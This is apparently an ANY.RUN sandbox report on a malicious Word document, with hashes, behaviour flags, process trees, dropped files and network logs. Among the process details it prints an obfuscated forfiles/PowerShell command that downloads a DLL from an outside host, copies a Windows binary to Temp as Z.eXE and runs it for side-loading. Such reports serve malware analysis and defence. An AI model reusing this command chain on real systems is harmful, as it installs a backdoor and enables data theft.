File name:

Global_Emergency_Attack_Protocol.docx

Full analysis: https://app.any.run/tasks/a839ea73-772d-4173-8ca5-8fb5b22406ce
Verdict: Malicious activity
Threats:

A backdoor is a type of cybersecurity threat that allows attackers to secretly compromise a system and conduct malicious activities, such as stealing data and modifying files. Backdoors can be difficult to detect, as they often use legitimate system applications to evade defense mechanisms. Threat actors often utilize special malware, such as PlugX, to establish backdoors on target devices.

Malware Trends Tracker     >>>
Analysis date: March 24, 2025, 11:22:36
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
zonebac
backdoor
stealer
Indicators:
MIME: application/zip
File info: Zip archive data, made by v4.5, extract using at least v2.0, last modified, last modified Sun, Jan 01 1980 00:00:00, uncompressed size 1593, method=deflate
MD5:

A7CDD23B4C94C1C504079816F0E5E5C7

SHA1:

00A5D0ABF596EEBC5B938C84282D774CB5CADC17

SHA256:

FC3B765EB2E4561F6684F43AA45713D228C20014BBF3D26FEAB4C81DAD1F5359

SSDEEP:

192:Vkr25SJtBBQUdqqJ4TwHeFQiPM31wkVQYgKKxyfcTxKkQxY6qD4WKZcoTDxIyd6W:hApJWwo/4x/iTxF6qycovS5eZduW

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • ZONEBAC mutex has been found

      • WINWORD.EXE (PID: 5364)

    • Actions looks like stealing of personal data

      • Z.eXE (PID: 7468)

    • Unusual execution from MS Office

      • WINWORD.EXE (PID: 5364)

    • Create files in the Startup directory

      • Z.eXE (PID: 7468)

  • SUSPICIOUS

    • Searches and executes a command on selected files

      • forfiles.exe (PID: 7172)

    • Downloads file from URI via Powershell

      • powershell.exe (PID: 7280)

    • Starts POWERSHELL.EXE for commands execution

      • forfiles.exe (PID: 7172)

    • Starts a Microsoft application from unusual location

      • Z.eXE (PID: 7468)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 7280)
      • Z.eXE (PID: 7468)

    • Process drops legitimate windows executable

      • Z.eXE (PID: 7468)

    • Executes application which crashes

      • Z.eXE (PID: 7468)

    • Starts itself from another location

      • Z.eXE (PID: 7468)

  • INFO

    • Reads security settings of Internet Explorer

      • splwow64.exe (PID: 8100)
      • powershell.exe (PID: 7280)

    • Checks proxy server information

      • powershell.exe (PID: 7280)

    • Reads the computer name

      • Z.eXE (PID: 7468)

    • Reads the software policy settings

      • powershell.exe (PID: 7280)
      • slui.exe (PID: 2092)
      • slui.exe (PID: 920)

    • Checks supported languages

      • Z.eXE (PID: 7468)

    • Creates files or folders in the user directory

      • Z.eXE (PID: 7468)
      • WerFault.exe (PID: 7308)

    • Create files in a temporary directory

      • powershell.exe (PID: 7280)

    • The sample compiled with english language support

      • powershell.exe (PID: 7280)
      • Z.eXE (PID: 7468)

    • Reads Internet Explorer settings

      • WINWORD.EXE (PID: 5364)

    • Autorun file from Startup directory

      • Z.eXE (PID: 7468)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
150
Monitored processes
13
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start #ZONEBAC winword.exe sppextcomobj.exe no specs slui.exe ai.exe no specs splwow64.exe no specs forfiles.exe no specs conhost.exe no specs powershell.exe z.exe cloudnotifications.exe no specs werfault.exe no specs rundll32.exe no specs slui.exe

Process information

PID
CMD
Path
Indicators
Parent process
920"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exe
SppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
1056C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Exit code:
0
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
2092C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
5364"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n C:\Users\admin\AppData\Local\Temp\Global_Emergency_Attack_Protocol.docx /o ""C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
16.0.16026.20146
Modules
Images
c:\program files\microsoft office\root\office16\winword.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\program files\common files\microsoft shared\clicktorun\appvisvsubsystems64.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
5408C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -EmbeddingC:\Windows\System32\rundll32.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shcore.dll
c:\windows\system32\imagehlp.dll
6752"C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Edge Notifications\cloudnotifications.exe"C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Edge Notifications\cloudnotifications.exe—Z.eXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Cloud notifications
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\users\admin\appdata\local\microsoft\edge\user data\edge notifications\cloudnotifications.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
7172"C:\Windows\System32\forfiles.exe" -p "C:\Windows\System32" /M "A"GG"REga"T"orHOST.exe" -C "pOwErShElL /cO"m" iwr https://embassyhavana.b-cdn.net/x -Outfile C:\Users\admin\AppData\Local\Temp\UxTheme.dll;c"o"py c:\WindoWs\sYStem32\CLoUdNotiFICaTiONS.Exe C:\Users\admin\AppData\Local\Temp\Z.eXE;C:\Users\admin\AppData\Local\Temp\Z.eXE"C:\Windows\System32\forfiles.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
ForFiles - Executes a command on selected files
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\forfiles.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\version.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
7184\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—forfiles.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7280/cOm iwr https://embassyhavana.b-cdn.net/x -Outfile C:\Users\admin\AppData\Local\Temp\UxTheme.dll;copy c:\WindoWs\sYStem32\CLoUdNotiFICaTiONS.Exe C:\Users\admin\AppData\Local\Temp\Z.eXE;C:\Users\admin\AppData\Local\Temp\Z.eXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
forfiles.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7308C:\WINDOWS\system32\WerFault.exe -u -p 7468 -s 720C:\Windows\System32\WerFault.exe—Z.eXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Problem Reporting
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\werfault.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\oleaut32.dll
Total events
30 714
Read events
29 980
Write events
708
Delete events
26

Modification events

(PID) Process:(5364) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\ClientTelemetry\Sampling
Operation:writeName:0
Value:
017012000000001000B24E9A3E02000000000000000600000000000000
(PID) Process:(5364) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\5364
Operation:writeName:0
Value:
0B0E10023A6C6C96CE5647846C478DD6D8BE31230046F1E9AF95F195E7ED016A04102400449A7D64B29D01008500A907556E6B6E6F776EC906022222CA0DC2190000C91003783634C511F429D2120B770069006E0077006F00720064002E00650078006500C51620C517808004C91808323231322D44656300
(PID) Process:(5364) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:en-US
Value:
2
(PID) Process:(5364) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:de-de
Value:
2
(PID) Process:(5364) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:fr-fr
Value:
2
(PID) Process:(5364) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:es-es
Value:
2
(PID) Process:(5364) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:it-it
Value:
2
(PID) Process:(5364) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:ja-jp
Value:
2
(PID) Process:(5364) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:ko-kr
Value:
2
(PID) Process:(5364) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:pt-br
Value:
2
Executable files
38
Suspicious files
143
Text files
22
Unknown types
0

Dropped files

PID
Process
Filename
Type
5364WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\0F6A82E5-D306-4D4A-B6C1-4CF3B95E9C08xml
MD5:D8E3E43165053FA4C653DCA5313E9634
SHA256:9A9FC0B4C87A28CC098A760B74E419202DE953B2748B564C5957301C0DFFA3A1
5364WINWORD.EXEC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04binary
MD5:F9A2C24AD65DD26070406D3731A58D36
SHA256:5505E9E992FC2CB03901BB7C2312128AC69A2992A072293E21F9A573E27F1135
5364WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbresbinary
MD5:160DEFB6444F0930FEF2C031CFF29430
SHA256:A218834D695B5D05EDE09178F192ED2AAA26E9613BACE20A1C9891F4F2D01F1E
5364WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\16.0\Personalization\Governance\Anonymous\floodgatecampaigns.jsonbinary
MD5:F5746316D2D5D0E73F006D9D930DB672
SHA256:E62FA6FC0193AAEE005850D5FACBCF7D29EF13B1FA425E8E4AB66F5DE3FAF5F4
5364WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$obal_Emergency_Attack_Protocol.docxbinary
MD5:3B6E2E94208BB13439FDC2BBCA24481C
SHA256:285E67DA21D3D3CA49DB68330BD65431DE7FFF90F189AEECF9AA1AA926A0BB8E
5364WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbresbinary
MD5:431265ECDF26E126FAA128B45E961E88
SHA256:95B014C5895F1A787172E64C84D087AC0FEB2057F9C73569BC66D65B075766D8
5364WINWORD.EXEC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04binary
MD5:2596CB236EBCA768CA81740AA9B81B59
SHA256:73FDE9934B086CF0956B22493F9AB7B094D144B48A3B06E995FD3E644B6BAA0C
5364WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\179AFD0D.emfbinary
MD5:32CEDAD87DB54B19A82C504E2E0E8057
SHA256:61C6A2D64C49E8D9AD60FB30F35DF548736AA26D7C29E62400E3AB1E0788727C
5364WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\FontCache\4\CloudFonts\Vrinda\32966094239.TTFbinary
MD5:D8F59B059BCEBA4C5BEFE99FA2833172
SHA256:2A7ACE93634B02CFCD2DAFF1B6341F3C8F207708FFDF630E88F24DD65E645522
5364WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\msoD9B8.tmpdocument
MD5:91B7962719D797FDE71FEC4369D58713
SHA256:85A17B0A3ECBC3BACFA8F8EC3C3AEEB8EC1388127C8BB726C6ED60CD6568C266
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
16
TCP/UDP connections
71
DNS requests
31
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
6544
svchost.exe
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
5364
WINWORD.EXE
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEApDqVCbATUviZV57HIIulA%3D
unknown
—
—
whitelisted
2316
backgroundTaskHost.exe
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
8016
SIHClient.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
5364
WINWORD.EXE
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
8016
SIHClient.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
5364
WINWORD.EXE
GET
200
172.64.149.23:80
http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRTtU9uFqgVGHhJwXZyWCNXmVR5ngQUoBEKIz6W8Qfs4q8p74Klf9AwpLQCEDlyRDr5IrdR19NsEN0xNZU%3D
unknown
—
—
whitelisted
5364
WINWORD.EXE
GET
200
104.18.38.233:80
http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTNMNJMNDqCqx8FcBWK16EHdimS6QQUU3m%2FWqorSs9UgOHYm8Cd8rIDZssCEH1bUSa0droR23QWC7xTDac%3D
unknown
—
—
whitelisted
5364
WINWORD.EXE
GET
200
104.18.38.233:80
http://ocsp.sectigo.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRDC9IOTxN6GmyRjyTl2n4yTUczyAQUjYxexFStiuF36Zv5mwXhuAGNYeECEDIJNp8i8WsBCf5KFrBaGFM%3D
unknown
—
—
whitelisted
5364
WINWORD.EXE
GET
200
2.16.164.120:80
http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
3216
svchost.exe
20.198.162.78:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
SG
whitelisted
6544
svchost.exe
20.190.159.64:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6544
svchost.exe
184.30.131.245:80
ocsp.digicert.com
AKAMAI-AS
US
whitelisted
5364
WINWORD.EXE
52.109.89.18:443
officeclient.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5364
WINWORD.EXE
52.109.76.243:443
roaming.officeapps.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5364
WINWORD.EXE
52.123.128.14:443
ecs.office.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
5364
WINWORD.EXE
104.124.11.10:443
omex.cdn.office.net
Akamai International B.V.
DE
whitelisted
5364
WINWORD.EXE
184.30.131.245:80
ocsp.digicert.com
AKAMAI-AS
US
whitelisted
5364
WINWORD.EXE
23.60.203.209:443
fs.microsoft.com
AKAMAI-AS
DE
whitelisted

DNS requests

Domain
IP
Reputation
client.wns.windows.com
  • 20.198.162.78
whitelisted
login.live.com
  • 20.190.159.64
  • 20.190.159.0
  • 40.126.31.73
  • 20.190.159.130
  • 20.190.159.71
  • 20.190.159.2
  • 40.126.31.128
  • 40.126.31.2
whitelisted
ocsp.digicert.com
  • 184.30.131.245
whitelisted
officeclient.microsoft.com
  • 52.109.89.18
whitelisted
roaming.officeapps.live.com
  • 52.109.76.243
whitelisted
ecs.office.com
  • 52.123.128.14
  • 52.123.129.14
whitelisted
omex.cdn.office.net
  • 104.124.11.10
  • 104.124.11.8
whitelisted
fs.microsoft.com
  • 23.60.203.209
whitelisted
arc.msn.com
  • 20.223.36.55
whitelisted
settings-win.data.microsoft.com
  • 51.104.136.2
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Global_Emergency_Attack_Protocol.docx